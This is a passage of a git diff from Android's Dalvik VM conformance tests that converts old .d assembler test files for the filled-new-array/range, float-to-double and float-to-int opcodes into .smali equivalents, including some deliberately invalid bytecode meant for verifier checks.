-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_range_6.java
-.class public dot.junit.opcodes.filled_new_array_range.d.T_filled_new_array_range_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IIIIJ)V
-.limit regs 11
-    filled-new-array/range {v5..v9}, [I
-    return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_6.smali
new file mode 100644
index 0000000..c58eb45
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_6.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_range_6.java"
+.class  public Ldot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IIIIJ)V
+.registers 11
+    filled-new-array/range {v5..v9}, [I
+    return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_7.d
deleted file mode 100644
index f60043a..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_range_7.java
-.class public dot.junit.opcodes.filled_new_array_range.d.T_filled_new_array_range_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IIIII)[I
-.limit regs 10
-    filled-new-array/range {v5..v9}, I
-    move-result-object v0
-    return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_7.smali
new file mode 100644
index 0000000..1779f40
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_7.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_range_7.java"
+.class  public Ldot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IIIII)[I
+.registers 10
+    filled-new-array/range {v5..v9}, I
+    move-result-object v0
+    return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_8.d
deleted file mode 100644
index 7a93faf..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_8.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_range_8.java
-.class public dot.junit.opcodes.filled_new_array_range.d.T_filled_new_array_range_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IIIII)[I
-.limit regs 10
-    filled-new-array/range {v5..v9}, [I
-    move-result-object v0
-    return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_8.smali
new file mode 100644
index 0000000..61afa58
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_8.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_range_8.java"
+.class  public Ldot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IIIII)[I
+.registers 10
+    filled-new-array/range {v5..v9}, [I
+    move-result-object v0
+    return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_9.d
deleted file mode 100644
index 4218cbe..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_9.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2009 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_filled_new_array_range_9.java
-.class public dot.junit.opcodes.filled_new_array_range.d.T_filled_new_array_range_9
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-    invoke-direct {v0}, java/lang/Object/<init>()V
-    return-void
-.end method
-
-.method public run(Ljava/lang/Object;)[Ljava/lang/Object;
-.limit regs 10
-    filled-new-array/range {v9}, [Ljava/lang/String;
-    move-result-object v0
-    return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_9.smali
new file mode 100644
index 0000000..f0abeb4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_9.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2009 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_filled_new_array_range_9.java"
+.class  public Ldot/junit/opcodes/filled_new_array_range/d/T_filled_new_array_range_9;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+    invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+    return-void
+.end method
+
+.method public run(Ljava/lang/Object;)[Ljava/lang/Object;
+.registers 10
+    filled-new-array/range {v9}, [Ljava/lang/String;
+    move-result-object v0
+    return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_1.d
deleted file mode 100644
index 0854de3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_float_to_double_1.java
-.class public dot.junit.opcodes.float_to_double.d.T_float_to_double_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)D
-.limit regs 6
-
-       float-to-double v0, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_1.smali
new file mode 100644
index 0000000..297c5fd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_double_1.java"
+.class  public Ldot/junit/opcodes/float_to_double/d/T_float_to_double_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)D
+.registers 6
+
+       float-to-double v0, v5
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_2.d
deleted file mode 100644
index c37c547..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_float_to_double_2.java
-.class public dot.junit.opcodes.float_to_double.d.T_float_to_double_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)D
-.limit regs 6
-
-       const-wide v2, 3.14    
-       float-to-double v0, v2
-       return-wide v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_2.smali
new file mode 100644
index 0000000..55ee7c6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_double_2.java"
+.class  public Ldot/junit/opcodes/float_to_double/d/T_float_to_double_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)D
+.registers 6
+
+       const-wide v2, 3.14    
+       float-to-double v0, v2
+       return-wide v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_3.d
deleted file mode 100644
index 59217ee..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_float_to_double_3.java
-.class public dot.junit.opcodes.float_to_double.d.T_float_to_double_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)D
-.limit regs 6
-
-       const-wide v2, 1223
-       float-to-double v0, v2
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_3.smali
new file mode 100644
index 0000000..77d32d9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_double_3.java"
+.class  public Ldot/junit/opcodes/float_to_double/d/T_float_to_double_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)D
+.registers 6
+
+       const-wide v2, 1223
+       float-to-double v0, v2
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_4.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_4.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_4.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_4.smali
new file mode 100644
index 0000000..1c33cd6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_4.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/float_to_double/d/T_float_to_double_4;
+.super Ljava/lang/Object;
+.source "T_float_to_double_4.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()D
+    .registers 1
+
+    const p0, 0x4048f5c3    # 3.14f
+
+    float-to-double p0, p0
+
+    return-wide p0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_5.d
deleted file mode 100644
index 77c3dc3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_float_to_double_5.java
-.class public dot.junit.opcodes.float_to_double.d.T_float_to_double_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)D
-.limit regs 6
-
-       float-to-double v0, v4
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_5.smali
new file mode 100644
index 0000000..c873fd8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_double_5.java"
+.class  public Ldot/junit/opcodes/float_to_double/d/T_float_to_double_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)D
+.registers 6
+
+       float-to-double v0, v4
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_6.d
deleted file mode 100644
index eac86d1..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_float_to_double_6.java
-.class public dot.junit.opcodes.float_to_double.d.T_float_to_double_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)D
-.limit regs 6
-
-       float-to-double v0, v6
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_6.smali
new file mode 100644
index 0000000..542edce
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_double_6.java"
+.class  public Ldot/junit/opcodes/float_to_double/d/T_float_to_double_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)D
+.registers 6
+
+       float-to-double v0, v6
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_7.d
deleted file mode 100644
index 71f3c83..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_7.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_float_to_double_7.java
-.class public dot.junit.opcodes.float_to_double.d.T_float_to_double_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(I)D
-.limit regs 6
-
-       float-to-double v0, v5
-       return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_7.smali
new file mode 100644
index 0000000..8c09eec
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_double/d/T_float_to_double_7.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_double_7.java"
+.class  public Ldot/junit/opcodes/float_to_double/d/T_float_to_double_7;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(I)D
+.registers 6
+
+       float-to-double v0, v5
+       return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_1.d
deleted file mode 100644
index 35f2eef..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_1.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_float_to_int_1.java
-.class public dot.junit.opcodes.float_to_int.d.T_float_to_int_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(F)I
-.limit regs 5
-
-       float-to-int v0, v4
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_1.smali
new file mode 100644
index 0000000..72b5aca
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_1.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_float_to_int_1.java"
+.class  public Ldot/junit/opcodes/float_to_int/d/T_float_to_int_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(F)I
+.registers 5
+
+       float-to-int v0, v4
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_2.d
deleted file mode 100644
index 61a8c4f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/float_to_int/d/T_float_to_int_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_float_to_int_2.java
-.class public dot.junit.opcodes.float_to_int.d.T_float_to_int_2
